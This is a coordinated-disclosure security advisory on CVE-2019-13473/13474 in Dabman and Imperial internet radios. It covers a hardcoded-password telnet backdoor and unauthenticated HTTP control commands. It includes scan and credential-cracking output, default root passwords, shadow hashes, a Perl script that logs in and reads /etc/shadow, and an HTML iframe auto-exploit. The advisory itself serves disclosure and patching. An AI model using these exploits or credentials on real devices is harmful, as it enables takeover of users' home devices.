Document Title: =============== Dabman & Imperial (i&d) Web Radio Devices - Undocumented Telnet Backdoor & Command Execution Vulnerability References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2183 Video: https://www.vulnerability-lab.com/get_content.php?id=2190 Vulnerability Magazine: https://www.vulnerability-db.com/?q=articles/2019/09/09/imperial-dabman-internet-radio-undocumented-telnetd-code-execution http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-13473 http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-13474 CVE-ID: ======= CVE-2019-13473 Release Date: ============= 2019-09-09 Vulnerability Laboratory ID (VL-ID): ==================================== 2183 Common Vulnerability Scoring System: ==================================== 9.4 Vulnerability Class: ==================== Multiple Current Estimated Price: ======================== 5.000€ - 10.000€ Product & Service Introduction: =============================== Since 1993, TELESTAR has been synonymous with quality and a very good price/performance ratio in the consumer electronics segment. TELESTAR-DIGITAL GmbH distributes high-quality reception technology for digital TV reception via satellite (DVB-S), cable (DVBC) or terrestrial (DVB-T) from its headquarters in the Vulkaneifel region of Germany. The product portfolio includes digital receivers and the latest generation of television sets as well as modern distribution and single-cable technology, satellite to IP reception solutions and radio transmission systems. The product range is rounded off by Germany's most comprehensive range of accessories for digital television reception. (Copy of the Homepage: https://www.xing.com/companies/telestar-digitalgmbh ) Abstract Advisory Information: ============================== The vulnerability laboratory research team discovered multiple vulnerabilities in the dabman and imperial web radio devices series (typ d & i). Vulnerability Disclosure Timeline: ================================== 2018-06-01: Researcher Notification & Coordination (Security Researcher) 2018-06-02: Vendor Notification (Telestar Digital Data Security Department) 2018-06-07: Vendor Response/Feedback (Telestar Digital Data Security Department) 2018-08-30: Vendor Fix/Patch (Service Developer Team) 2019-09-08: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== Critical Authentication Type: ==================== Pre auth - no privileges User Interaction: ================= No User Interaction Disclosure Type: ================ Coordinated Disclosure Technical Details & Description: ================================ 1.1 The dabman and imperial manufactured web radio series (typ d & i) suffers from a weak password vulnerability. The vulnerabilites allows local and remote attackers to compromise the web radios full embedded linux busybox os. The vulnerability is located within an undocumented telnet service (telnetd) of the linux busybox and is turned permanently on. The telnetd service uses weak passwords with hardcoded credentials on the local embedded linux busybox of the internet radio devices. The telnet password can be cracked by usage of simple manual password bruteforce technics or by basic automated attacks with scripts (exp. ncrack). After receiving the password the remote or local network attacker can unauthorized login to the internet radio device to use the embedded linux busybox operating system. After the attacker has been logged in as root user, he can open the /etc/ path to cat gshadow, shadow and the conf files. At the end the attacker has finally full root access on the busybox (telnetd), he can access the web-server (httpd) as admin and see the wireless lan + unencrypted key in ./flash/ - wifi.cfg. A demo exploit poc is available in the wild. Vulnerable Protocol(s): [+] telnetd System(s): [+] BusyBox v1.15.2 (2014-05-05 23:37:21 CST) built-in shell (ash) (Debian Linux PreRelease - ARM 3.3.2) Firmware Version(s): [+] TN81HH96-g102h-g102 Manufacturer: Telestar Digital Gmbh Affected Version(s): [+] Bobs Rock Radio [+] Dabman D10 [+] Dabman i30 Stereo [+] Imperial i110 [+] Imperial i150 [+] Imperial i200 [+] Imperial i200-cd [+] Imperial i400 [+] Imperial i450 [+] Imperial i500-bt [+] Imperial i600 1.2 The dabman and imperial manufactured web radio series (typ d & i) suffers from a command execution vulnerability. The vulnerability allows local and remote attackers unauthorized and unauthenticated send commands to comprimise the web radio devices. The vulnerability is located httpd web-server communcation on port 80 and 8080. Local and remote attackers can send basic GET commands with basic command line tools (exp. curl or modhttp) to modify or manipulate http requests. The attacker can also capture the http airmusic commands to reverse engineer the radio device for unauthorized interactions. The system has no protection mechanism to block unauthorized transmit of commands. The web radio as well not owns an auth or reminder mechanism to ensure only allowed or trusted sources can transmit the commands (client, system, mac , auth ...). Vulnerable Protocol(s): [+] httpd Module(s): [+] UIData (Web UI on 80 or 8080) Function(s): [+] /set_dname [+] /mylogo [+] /LocalPlay [+] /LocalPlay [+] /irdevice.xml [+] /Sendkey [+] /setvol [+] /hotkeylist [+] /init [+] /playlogo.jpg [+] /stop [+] /exit [+] /back [+] /playinfo Parameter(s): [+] ?name=PWND [+] ?url=./*.jpg [+] ?url=/stream.wav&name=* [+] ?url=/msg.wav&save=* [+] ?key=* [+] ?vol=*0&mute=* [+] ?language=* Affected Function(s): [+] Air Music Controls Manufacturer: Telestar Digital Gmbh Affected Version(s): [+] Bobs Rock Radio [+] Dabman D10 [+] Dabman i30 Stereo [+] Imperial i110 [+] Imperial i150 [+] Imperial i200 [+] Imperial i200-cd [+] Imperial i400 [+] Imperial i450 [+] Imperial i500-bt [+] Imperial i600 Proof of Concept (PoC): ======================= 1.1 Undocumented Telnet Service (telnetd) The security vulnerability can be exploited by local and remote attackers without user interaction or privileged user account. For security demonstration or to reproduce follow the provided information and steps below to continue. Nmap Portscan Scanning R-MAVERIC-EMAC_1_01_018 (93.234.141.215) [1000 ports] Discovered open port 8080/tcp on 93.234.141.215 Discovered open port 80/tcp on 93.234.141.215 Discovered open port 23/tcp on 93.234.141.215 Completed SYN Stealth Scan at 14:48, 13.38s elapsed (1000 total ports) Initiating Service scan at 14:48 Scanning 3 services on R-MAVERIC-EMAC_1_01_018 (93.234.141.215) Completed Service scan at 14:48, 6.20s elapsed (3 services on 1 host) Initiating OS detection (try #1) against R-MAVERIC-EMAC_1_01_018 (93.234.141.215) NSE: Script scanning 93.234.141.215. Initiating NSE at 14:48 Completed NSE at 14:49, 30.61s elapsed Initiating NSE at 14:49 Completed NSE at 14:49, 0.00s elapsed Nmap scan report for R-MAVERIC-EMAC_1_01_018 (93.234.141.215) Host is up (0.010s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 23/tcp open telnet security DVR telnetd (many brands) 80/tcp open tcpwrapped |_http-title: AirMusic 8080/tcp open http BusyBox httpd 1.13 | http-methods: |_ Supported Methods: GET |_http-title: 404 Not Found MAC Address: 7C:C7:09:FD:3B:56 (Shenzhen Rf-link Technology) Device type: general purpose Running: Linux 2.6.X OS CPE: cpe:/o:linux:linux_kernel:2.6 OS details: Linux 2.6.16 - 2.6.35 (embedded) Uptime guess: 5.967 days (since Sun Jun 23 15:36:08 2019) Network Distance: 1 hop TCP Sequence Prediction: Difficulty=197 (Good luck!) IP ID Sequence Generation: All zeros Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel NCrack [telnetd] (ncrack -v --user root [IP]:[PORT]) C:Program Files (x86)Ncrack>ncrack -v --user root 93.234.141.215:23 Starting Ncrack 0.6 ( http://ncrack.org ) at 2019-06-29 18:21 Mitteleuropõische Sommerzeit Discovered credentials on telnet://93.234.141.215:23 'root' 'password' Discovered credentials on telnet://93.234.141.215:23 'root' 'password1' Discovered credentials on telnet://93.234.141.215:23 'root' 'password2' Discovered credentials on telnet://93.234.141.215:23 'root' 'password123' Discovered credentials on telnet://93.234.141.215:23 'root' 'password12' Discovered credentials on telnet://93.234.141.215:23 'root' 'password3' Discovered credentials on telnet://93.234.141.215:23 'root' 'password!' telnet://93.234.141.215:23 finished. Too many failed attemps. Discovered credentials for telnet on 93.234.141.215 23/tcp: 93.234.141.215 23/tcp telnet: 'root' 'password' 93.234.141.215 23/tcp telnet: 'root' 'password1' 93.234.141.215 23/tcp telnet: 'root' 'password2' 93.234.141.215 23/tcp telnet: 'root' 'password123' 93.234.141.215 23/tcp telnet: 'root' 'password12' 93.234.141.215 23/tcp telnet: 'root' 'password3' 93.234.141.215 23/tcp telnet: 'root' 'password!' Ncrack done: 1 service scanned in 273.29 seconds. Probes sent: 1117 | timed-out: 50 | prematurely-closed: 117 Ncrack finished. System: BusyBox v1.15.2 (2014-05-05 23:37:21 CST) built-in shell (ash) Kernel: 9)20151217_M8_TFT_7601_Kernel OS: CC: (GNU) 3.3.2 20031005 (Debian prerelease)GCC: (GNU) 4.2.1GCC: (GNU) 4.2.1GCC: (GNU) 4.2.1GCC: (GNU) 4.2.1GCC: (GNU) 4.2.1GCC: (GNU) 3.3.2 20031005 (Debian prerelease)Aaeabi.shstrtab.init.text.fini. rodata.ARM.extab.ARM.exidx.eh_frame.init_array. fini_array.jcr.data.rel.ro.got.data.bss.comment.ARM.attributes Built-in commands: . : [ [[ bg break cd chdir continue echo eval exec exit export false fg hash help jobs kill local printf pwd read readonly return set shift source test times trap true type ulimit umask unset wait Currently defined functions: [, [[, ash, cat, chmod, cp, date, df, echo, free, ftpget, ftpput, gunzip, httpd, ifconfig, init, insmod, kill, killall, linuxrc, login, ls, lzmacat, mdev, mkdir, mount, mv, ping, ps, pwd, rm, rmmod, route, run-parts, sh, sleep, sync, tar, telnetd, test, top, true, udhcpc, udhcpd, umount, unlzma, usleep, zcat Username: root Password: password & password! shadow root:r.BF8RVw56BOA:1:0:99999:7::: (decrypted: password & mldonkey) ftp:!:0:::::: (decrypted: empty/blank) usb:w.rW11jv2dmM2:13941:::::: (decrypted: winbond) gshadow root:::root,mldonkey PoC: Exploit use Net::Telnet (); use Cwd; $file="inputLog.txt"; $ofile="outputlog.txt"; # For local network change to localhost or local ip @hosts = ("93.234.141.215"); foreach $hostip (sort @hosts) { $t = new Net::Telnet (Timeout => 10, Input_log => $file, Prompt => "/>/"); print "nnConnecting to undocumented Telnet Service of Imperial or Dabman Web Radio Service: $hostip ...n"; print "nnAffected Models: Bobs Rock Radio, D10, i30, D30iS, i110, i150, i200, i200-cd, i400, i450, i500-bt, i600n"; $t->open("$hostip"); $t->login("root","password"); my @lines = $t->cmd('cat /etc/shadow'); print "$hostip: Directories:n"; print "@lines n"; $t->close; } 1.2 AirMusic Unauthenticated Command Execution (httpd) The security vulnerability can be exploited by local and remote attackers without user interaction or privileged user account. For security demonstration or to reproduce follow the provided information and steps below to continue. AirMusic Status Interface: http://93.234.141.215:80 Web-Server HTTPD UIData Path: http://93.234.141.215:8080 Note: Attacks can be performed in the local network (Localhost:80) or remotly by requesting the url remote ip adress (93.234.141.215) + forwarded remote port(Standard :23). Get device name from Device http://93.234.141.215:80/irdevice.xml Set device name http://93.234.141.215:80/set_dname?name=PWND Set boot-logo (HTTP URL, requirement: JPG) http://93.234.141.215:80/mylogo?url=http://vulnerability-lab.com/pwnd.jpg Display or retrieve channel logo http://93.234.141.215:80:8080/playlogo.jpg Changing the main menu with the selected language http://93.234.141.215:80/init?language=us Play stream http://93.234.141.215:80/LocalPlay?url=http://vulnerability-lab.com/stream.wav&name=NAME Save audio file as message http://93.234.141.215:80/LocalPlay?url=http://vulnerability-lab.com/msg.wav&save=1 Recall channel hotkeys http://93.234.141.215:80/hotkeylist Current playback data http://93.234.141.215:80/playinfo Set volume from 0-31 & mute function http://93.234.141.215:80/setvol?vol=10&mute=0 Reset http://93.234.141.215:80/back Set stop http://93.234.141.215:80/stop Activate all back http://93.234.141.215:80/exit Send keystroke combo http://93.234.141.215:80/Sendkey?key=3 PoC: Exploit <html> <head><body> <title>Dabman & Imerpial - HTML AutoPwner</title> <iframe src=http://93.234.141.215:80/set_dname?name=PWND></iframe> <iframe src=http://93.234.141.215:80/mylogo?url=http://vulnerability-lab.com/pwnd.jpg></iframe> <iframe src=http://93.234.141.215:80/LocalPlay?url=http://vulnerability-lab.com/stream.wav&name=NAME></iframe> <iframe src=http://93.234.141.215:80/LocalPlay?url=http://vulnerability-lab.com/msg.wav&save=1></iframe> </body></head> <html> PoC: Checker for Modifications #!/usr/bin/perl use strict; use warnings; use LWP::Simple; my $url1 = 'http://93.234.141.215:80/'; my $source1 = get( $url1 ); my $url2 = 'http://93.234.141.215:80/'; my $source2 = get( $url2 ); print $source1; print $source1; Solution - Fix & Patch: ======================= A fresh updated version is available by the manufacturer telestar to resolve the vulnerabilities in all i & d series products. It is recommended to install the updates as quick as possible to ensure the digital security. 1. Set the device to the factory setting 2. Select language 3. Switch off the device 4. Switch on the device 5. Network setup 6. Wait for "New Software" message 7. Press OK to start the update 8. Updated Version: TN81HH96-g102h-g103**a*-fb21a-3624 Security Risk: ============== The security risk of the vulnerabilities in the online web radio with wifi and user interface are estimated as critical. The vulnerability can be exploited by local attackers in a network or by remote attackers without user interaction or further privileged user accounts. The potential of the issue being exploited in thousends of end user devices all over europe is estimated as high. The issue has the potential that could be used by remote attackers for spreading randomware / malware, mass defacements, compromises for further linux network attacks or being part of a criminal acting iot botnet. Credits & Authors: ================== Benjamin K.M. [VULNERABILITY LAB - CORE RESEARCH TEAM] - https://www.vulnerability-lab.com/show.php?user=Benjamin+K.M. Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. 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